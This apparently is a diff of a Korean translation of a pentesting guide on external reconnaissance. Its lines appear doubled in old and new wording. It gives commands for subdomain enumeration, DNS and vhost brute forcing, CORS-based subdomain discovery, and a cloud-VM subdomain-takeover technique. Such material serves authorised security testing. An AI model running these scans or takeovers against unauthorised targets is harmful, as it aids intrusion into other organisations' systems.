동일 조직 내 다른 웹 사이트 간에 공유될 수 있는 **문자열을 웹 페이지 내에서 검색**합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 해당 문자열을 **Google**, 다른 **브라우저** 또는 심지어 **Shodan**에서 검색합니다: `shodan search http.html:"Copyright string"` 웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **구글**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
### **CRT 시간** ### **CRT Time**
다음과 같은 cron 작업이 있는 것이 일반적입니다. 크론 작업이 있는 것이 일반적입니다.
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### 서버의 모든 도메인 인증서를 갱신합니다. 이는 이를 위해 사용된 CA가 발급 시간을 유효 기간에 설정하지 않더라도, **인증서 투명성 로그에서 동일 회사에 속한 도메인을 찾을 수 있습니다**.\ to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
더 많은 정보를 보려면 [**여기에 있는 글을 확인하세요**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### 메일 DMARC 정보 ### Mail DMARC 정보
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)와 같은 웹사이트 또는 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)와 같은 도구를 사용하여 **동일한 dmarc 정보를 공유하는 도메인 및 하위 도메인을 찾을 수 있습니다**. You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
### **수동 탈취** ### **수동 인수**
사람들이 하위 도메인을 클라우드 제공업체에 속하는 IP에 할당하고 어느 순간에는 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 흔합니다**. 따라서, 클라우드(예: Digital Ocean)에 VM을 생성하기만 하면 실제로 **일부 하위 도메인을 탈취하게 됩니다**. Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고, **DigitalOcean에서 VM을 생성**하고, 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색하는 스크립트를 제안합니다**. [**이 게시물**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
### **기타 방법** ### **기타 방법**
**새로운 도메인을 발견할 때마다이 기술을 사용하여 더 많은 도메인 이름을 발견할 수 있다는 점을 유의하십시오**. **Note that you can use this technique to discover more domain names every time you find a new domain.**
**Shodan** **Shodan**
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. shodan에서 다음 데이터로 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예기치 않은 도메인을 찾으십시오. As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음, **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 해당 이름을 검색하십시오. 필터 : `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용하십시오. You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder** **Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)는 주요 도메인과 해당 **하위 도메인**을 찾는 도구로 매우 놀라운 도구입니다. [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **취약점 찾기** ### **취약점 찾기**
[도메인 탈취](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하십시오. 어떤 회사가 **도메인을 사용 중이지만 소유권을 잃었을 수 있습니다**. 저렴하다면 등록하고 회사에 알리십시오. Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
이미 찾은 자산 발견에서 찾은 것과 다른 IP를 가진 **도메인을 찾으면**, 기본 취약점 스캔(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\ If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되어 있을 수 있으므로 범위에 포함되지 않을 수 있습니다. 주의하십시오._ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 최대 **$100,000**까지 보상을 받으세요! **버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 만들어진 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 하위 도메인 ## 서브도메인
> 우리는 범위 내의 모든 회사, 각 회사의 모든 자산 및 회사와 관련된 모든 도메인을 알고 있습니다. > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
이제 찾은 각 도메인의 모든 가능한 하위 도메인을 찾아야 합니다. It's time to find all the possible subdomains of each found domain.
{% hint style="success" %} {% hint style="success" %}
일부 도구 및 기술을 사용하여 도메인을 찾을 때 하위 도메인을 찾는 데 도움이 될 수도 있음을 유의하십시오! Note that some of the tools and techniques to find domains can also help to find subdomains!
{% endhint %} {% endhint %}
### **DNS** ### **DNS**
**DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. **Zone Transfer**도 시도해야 합니다(취약하다면 보고해야 합니다). Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
다량의 하위 도메인을 얻는 가장 빠른 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 얻으려면 API 키를 구성하세요): 많은 서브도메인을 빠르게 얻는 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 위해 API 키를 구성하세요):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -271,9 +275,9 @@ vita -d tesla.com
```bash ```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
``` ```
다른 흥미로운 도구/API가 있습니다. 하위 도메인을 직접적으로 찾는 데 특화되지 않았더라도 하위 도메인을 찾는 데 유용할 수 있습니다. 예를 들어: 다른 **흥미로운 도구/API**가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** 하위 도메인을 얻기 위해 API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용니다. * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용하여 서브도메인을 얻습니다.
```bash ```bash
# Get list of subdomains in output from the API # Get list of subdomains in output from the API
## This is the API the crobat tool will use ## This is the API the crobat tool will use
@ -303,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
} }
crt tesla.com crt tesla.com
``` ```
* [**gau**](https://github.com/lc/gau)**:** 특정 도메인에서 AlienVault의 Open Threat Exchange, Wayback Machine 및 Common Crawl에서 알려진 URL을 가져옵니다. * [**gau**](https://github.com/lc/gau)**:** 주어진 도메인에 대해 AlienVault의 Open Threat Exchange, Wayback Machine 및 Common Crawl에서 알려진 URL을 가져옵니다.
```bash ```bash
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 웹을 스크랩하여 JS 파일을 찾고 거기서 서브도메인을 추출합니다. * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 이들은 웹을 스크랩하여 JS 파일을 찾고 그곳에서 서브도메인을 추출합니다.
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -323,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains # Get other pages with links to subdomains
shodan search "http.html:help.domain.com" shodan search "http.html:help.domain.com"
``` ```
* [**Censys 하위 도메인 찾기**](https://github.com/christophetd/censys-subdomain-finder) * [**Censys 서브도메인 찾기**](https://github.com/christophetd/censys-subdomain-finder)
```bash ```bash
export CENSYS_API_ID=... export CENSYS_API_ID=...
export CENSYS_API_SECRET=... export CENSYS_API_SECRET=...
@ -333,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다. * [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인을 무료로 제공**합니다. 이 데이터에 접근하려면 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하거나 이 프로젝트에서 사용하는 범위에도 접근할 수 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터를 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다: [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
여기서 이러한 도구들의 **비교**를 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) 여기서 이러한 도구들의 **비교**를 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS 브루트 포스** ### **DNS 브루트 포스**
가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **서브도메인**을 찾아보겠습니다. 가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **서브도메인**을 찾아보겠습니다.
이 작업을 위해 몇 가지 **일반적인 서브도메인 워드리스트가 필요**합니다: 이 작업을 위해서는 다음과 같은 **일반 서브도메인 단어 목록**이 필요합니다:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -352,77 +356,77 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
그리고 좋은 DNS 리졸버의 IP도 필요합니다. 신뢰할 수 있는 DNS 리졸버 목록을 생성하려면 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 리졸버를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) 또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다.
DNS 브루트 포스에 가장 권장되는 도구들은 다음과 같습니다: DNS 브루트 포스에 가장 추천되는 도구는:
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과에 취약합니다. * [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다.
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버를 사용하는 것 같습니다. * [**gobuster**](https://github.com/OJ/gobuster): 이 도구는 1개의 리졸버만 사용하는 것 같습니다.
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)`massdns`를 감싼 것으로, 유효한 하위 도메인을 활성 브루트 포스를 사용하여 나열하고 와일드카드 처리 및 쉬운 입출력 지원을 통해 하위 도메인을 해결할 수 있습니다. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns)`massdns`를 감싸는 도구로, Go로 작성되어 있으며, 능동적인 브루트포스를 사용하여 유효한 서브도메인을 열거하고, 와일드카드 처리를 통해 서브도메인을 해결하며, 간편한 입력-출력 지원을 제공합니다.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
* [**puredns**](https://github.com/d3mondev/puredns): `massdns` 사용합니다. * [**puredns**](https://github.com/d3mondev/puredns): 또한 `massdns` 사용합니다.
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 브루트 포싱합니다. * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)는 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입합니다.
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### 두 번째 DNS 브루트 포스 라운드 ### 두 번째 DNS 브루트 포스 라운드
공개 소스 및 브루트포스를 사용하여 하위 도메인을 찾은 후에는 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다: 오픈 소스를 사용하고 브루트 포싱을 통해 서브 도메인을 찾은 후, 발견된 서브 도메인의 변형을 생성하여 더 많은 서브 도메인을 찾으려고 할 수 있습니다. 이 목적을 위해 여러 도구가 유용합니다:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인 및 하위 도메인을 주어진 순열로 생성합니다. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인과 서브 도메인을 주면 순열을 생성합니다.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열 생성. * [**goaltdns**](https://github.com/subfinder/goaltdns): 도메인과 서브도메인을 기반으로 순열을 생성합니다.
* goaltdns 순열 **단어 목록**은 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다. * **여기**에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** 도메인 및 서브도메인을 제공하여 순열을 생성합니다. 순열 파일이 지정되지 않은 경우 gotator는 자체 파일을 사용합니다. * [**gotator**](https://github.com/Josue87/gotator)**:** 도메인과 서브도메인을 기반으로 순열을 생성합니다. 순열 파일이 지정되지 않으면 gotator는 자체 파일을 사용합니다.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): 하위 도메인 순열을 생성하는 것 외에도 해결을 시도할 수 있지만 (이전에 설명된 도구를 사용하는 것이 더 좋음). * [**altdns**](https://github.com/infosec-au/altdns): 서브도메인 조합을 생성하는 것 외에도, 이를 해결하려고 시도할 수 있습니다(하지만 이전에 언급된 도구를 사용하는 것이 더 좋습니다).
* altdns 순열 **wordlist**를 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다. * altdns 조합 **단어 목록**은 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 확인할 수 있습니다.
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (DNS 와일드카드를 지원하지 않음). * [**dmut**](https://github.com/bp0lr/dmut): 서브도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무작위로 시도합니다( dns 와일드카드를 지원하지 않습니다).
* [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 dmut 순열 워드리스트를 얻을 수 있습니다. * dmut 순열 단어 목록은 [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 얻을 수 있습니다.
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 지정된 패턴에 따라 **새로운 잠재적인 하위 도메인 이름을 생성**하여 더 많은 하위 도메인을 발견하려고 시도합니다. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 합니다.
#### 스마트 순열 생성 #### 스마트 순열 생성
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾습니다. * [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**게시물**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 서브도메인**의 **주요 부분**을 가져와서 이를 혼합하여 더 많은 서브도메인을 찾습니다.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 서브도메인 브루트포스 퍼저로, 극도로 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 특정한 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 루프에서 이를 더욱 확장합니다.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **서브도메인 발견 워크플로우** ### **서브도메인 발견 워크플로우**
도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 쓴 블로그 포스트를 확인해보세요. **Trickest 워크플로우**를 사용하여 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다: 도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 제가 쓴 블로그 게시물을 확인해 보세요. **Trickest 워크플로우**를 사용하여 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -430,15 +434,15 @@ echo www | subzuf facebook.com
### **VHosts / 가상 호스트** ### **VHosts / 가상 호스트**
하나 이상의 웹 페이지를 포함하는 **IP 주소를 발견했다면**, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. **OSINT 소스**에서 IP의 도메인을 찾거나 해당 IP에서 **VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다. 서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP에 있는 도메인을 찾아보거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다.
#### OSINT #### OSINT
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여** **IP에서 VHost를 찾을 수 있습니다**. [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여 IP에서 일부 VHosts를 찾을 수 있습니다.**
**무차별 대입** **브루트 포스**
웹 서버에 숨겨진 서브도메인이 있을 것으로 의심된다면 무차별 대입을 시도할 수 있습니다: 어떤 서브도메인이 웹 서버에 숨겨져 있을 수 있다고 의심된다면, 브루트 포스를 시도해 볼 수 있습니다:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -453,152 +457,152 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com VHostScan -t example.com
``` ```
{% hint style="info" %} {% hint style="info" %}
이 기술을 사용하면 내부/숨겨진 엔드포인트에 액세스할 수도 있습니다. 이 기술을 사용하면 내부/숨겨진 엔드포인트에 접근할 수 있을지도 모릅니다.
{% endhint %} {% endhint %}
### **CORS 브루트 포스** ### **CORS Brute Force**
가끔 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때에만 헤더 _**Access-Control-Allow-Origin**_을 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서 이 동작을 남용하여 **새로운 서브도메인**을 **발견**할 수 있습니다. 때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
### **버킷 브루트 포스** ### **버킷 무차별 대입**
**서브도메인**을 찾을 때 **버킷**으로 **포인팅**되는지 확인하고, 그 경우에는 [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**하세요**.\ **서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
또한, 여기까지 도메인 범위 내의 모든 도메인을 알게 될 것이므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**하세요**. 또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
### **모니터링** ### **모니터링**
도메인의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)를 사용하세요. 도메인의 **새 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다.
### **취약점 탐색** ### **취약점 찾기**
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) 확인하세요.\ 가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) 확인하세요.\
**서브도메인**이 **S3 버킷**을 가리키는 경우, [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**하세요**. **서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
